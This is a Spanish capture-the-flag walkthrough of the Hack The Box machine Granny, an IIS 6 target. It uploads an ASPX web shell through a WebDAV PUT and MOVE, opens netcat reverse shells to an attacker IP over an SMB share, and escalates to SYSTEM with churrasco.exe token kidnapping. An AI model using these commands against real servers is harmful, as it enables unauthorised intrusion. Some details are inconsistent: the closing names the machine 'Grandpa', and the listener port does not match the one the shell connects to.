> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/hack-the-box/windows/easy/granny.md).

# Granny

<figure><img src="/files/dvOsOZ4gzQZwBOoiGxDW" alt=""><figcaption></figcaption></figure>

En este post, vamos a abordar la resolución de la máquina Granny de la plataforma Hack The Box. En primer lugar, para ganar acceso al sistema subiremos una web shell al servicio WebDAV la cual nos permitira enviarnos una reverse shell a nuestra máquina atacante. Finalmente, para escalar nuestros privilegios abusaremos del privilegio `SeImpersonatePrivilege` utilizando la utilidad `churrasco.exe`.

## Reconocimiento

Lanzamos una traza ICMP a la máquina víctima para comprobar que tengamos conectividad.

<figure><img src="/files/yDCvokiXJtt0HACtpOiE" alt=""><figcaption><p>Reconocimiento usando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

## Enumeración

### Descubrimiento de puertos abiertos <a href="#descubrimiento-de-puertos-abiertos" id="descubrimiento-de-puertos-abiertos"></a>

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

```bash
nmap -sS -p- --open --min-rate 5000 10.10.10.15 -n -Pn -oG scanPorts -vvv
```

<figure><img src="/files/AkDetg65pVDCeV0nv3cS" alt=""><figcaption><p>Descubrimiento de puertos abiertos</p></figcaption></figure>

### Enumeración de versión y servicio <a href="#enumeracion-de-version-y-servicio" id="enumeracion-de-version-y-servicio"></a>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted -vvv
```

<figure><img src="/files/ZzLyHr7KNvWHzpSFKEX5" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

## Explotación

Si ingresamos a la web que esta corriendo bajo el puerto 80, nos encontramos con lo siguiente:<br>

<figure><img src="/files/hAmYEFz4LELzTwj4TFrU" alt=""><figcaption><p>Web</p></figcaption></figure>

Nos encontramos con la página por defecto de una instanacia de IIS 6.

Si recordamos nuestro escaneo con `nmap`, vimos que estaba presente el servicio de WebDAV. WebDAV (Web-based Distributed Authoring and Versioning, por sus siglas en inglés) es un servicio que nos permite compartir, editar y manejar archivos en un servidor remoto vía HTTP.

Podemos comprobar que tipo de archivos podemos subir a la máquina, utilizando la herramienta `davtest`**:**

```bash
davtest -url http://10.10.10.15
```

<figure><img src="/files/sKFukXReof3GfiiDKqe5" alt=""><figcaption><p>davtest</p></figcaption></figure>

Podemos observar, que solo podemos subir archivos con extensión `.txt` y `.html`.

Pero si recordamos nuestro escaneo inicial con `nmap`, vemos que tenemos disponbile el método `MOVE`, el cual nos permite renombrar un archivo.

Vamos a subir una web shell, para ello utilizaremos la `cmdasp.aspx`.

<figure><img src="/files/avN2J0bZgnbv7ebGdPlP" alt=""><figcaption><p>cmdasp.aspx</p></figcaption></figure>

Copiamos el archivo a nuestro directorio de trabajo.

```bash
cp /usr/share/webshells/aspx/cmdasp.aspx
```

Subimos el archivo pero con la extensión `.txt`.

```bash
curl -s -X PUT http://10.10.10.15/cmdasp.txt -d @cmdasp.aspx
```

Luego, debemos renombrarlo utilizando el método `MOVE`.

```bash
curl -s -X MOVE -H 'Destination: http://10.10.10.15/cmdasp.aspx' http://10.10.10.15/cmdasp.txt
```

De esta forma, logramos subir nuestra web shell.

<figure><img src="/files/5gbmoHDPqXuTkz00Gwoz" alt=""><figcaption><p>Web shell</p></figcaption></figure>

Para ganar acceso al sistema, crearemos un recurso compartido con la herramienta `impacket-smbserver` para poder compartirnos la utilidad `nc.exe`.

En primer lugar, debemos copiar el binario a nuestro directorio de trabajo.

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

Creamos el recurso compartido.

```bash
impacket-smbserver -smb2support sharedFolder .
```

Nos ponemos en escucha por el puerto `443`.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos el siguiente comando en nuestra web shell.

```bash
\\10.10.14.2\sharedFolder\nc.exe -e cmd 10.10.14.2 443
```

Ganamos acceso al sistema como el usuario `nt authority\network service`.

<figure><img src="/files/I7DIms0yOhFdMOft0WAd" alt=""><figcaption><p><code>nt authority\network service</code></p></figcaption></figure>

## Escalación de privilegios

Si listamos los privilegios de nuestro usuario, podemos observar uno que destaca `SeImpersonatePrivilege`.

> El privilegio **SeImpersonatePrivilege** en Windows permite a un proceso suplantar (impersonar) a un usuario después de autenticarse. En otras palabras, le da a un proceso la capacidad de ejecutar acciones en nombre de otro usuario. Este privilegio es crucial para ciertos servicios y aplicaciones que necesitan realizar tareas en nombre de los usuarios, pero también puede ser un riesgo de seguridad si se abusa de él. Por ejemplo, un atacante con este privilegio podría suplantar a un administrador y realizar acciones maliciosas con altos privilegios.

Para escalar privilegios, podemos abusar de este privilegio utilizando la utilidad `churrasco.exe`.

Esta herramienta, nos permitira realizar lo que se conoce como **Token Kidnapping**, lo cual es una técnica de ataque en sistemas Windows en la que un atacante secuestra un token de acceso para obtener privilegios elevados y ejecutar código malicioso con permisos elevados.

Este tipo de ataque se basa en la explotación de vulnerabilidades en el sistema operativo o en aplicaciones para capturar y reutilizar tokens de seguridad asignados a procesos con privilegios más altos.

> Un token de acceso es una estructura de datos en Windows que describe la seguridad de un proceso o hilo. Contiene información sobre la identidad del usuario y sus privilegios.

Descargamos la utilidad [churrasco.exe](https://github.com/Re4son/Churrasco/blob/master/churrasco.exe) y [nc.exe](https://github.com/int0x33/nc.exe/blob/master/nc.exe).

Creamos un recurso compartido con `impacket-smbserver` para poder transferir estos binarios a la máquina víctima.

```bash
impacket-smbserver -smb2support sharedFolder .
```

Descargamos los binarios en la máquina víctima.

```
copy \\10.10.14.2\sharedFolder\churrasco.exe churrasco.exe
copy \\10.10.14.2\sharedFolder\nc.exe nc.exe
```

Nos ponemos en escucha con netcat por el puerto `443`.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos `churrasco.exe` en la máquina víctima.

```powershell
churrasco.exe "\\10.10.14.2\sharedFolder\nc.exe -e cmd 10.10.14.2 4444"
```

Ganamos acceso como `nt authority\system`.

<figure><img src="/files/FK0S7gADQqP7gIv0Fd04" alt=""><figcaption><p><code>nt authority\system</code></p></figcaption></figure>

Por ultimo, leemos los flags de `user.txt` y `root.txt`.

<figure><img src="/files/ZzOsmAuVma4Em42eUVnF" alt=""><figcaption><p>Flags</p></figcaption></figure>

## Extras

#### Protección contra Token Kidnapping

1. **Actualizaciones y Parches**: Mantener el sistema operativo y todas las aplicaciones actualizadas con los últimos parches de seguridad.
2. **Configuraciones de Seguridad**: Configurar correctamente las políticas de seguridad y los permisos de usuario para minimizar los riesgos.
3. **Principio de Mínimo Privilegio**: Ejecutar servicios y aplicaciones con el mínimo nivel de privilegio necesario para su funcionamiento.

De esta forma, concluimos la resolución de la máquina Grandpa.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!
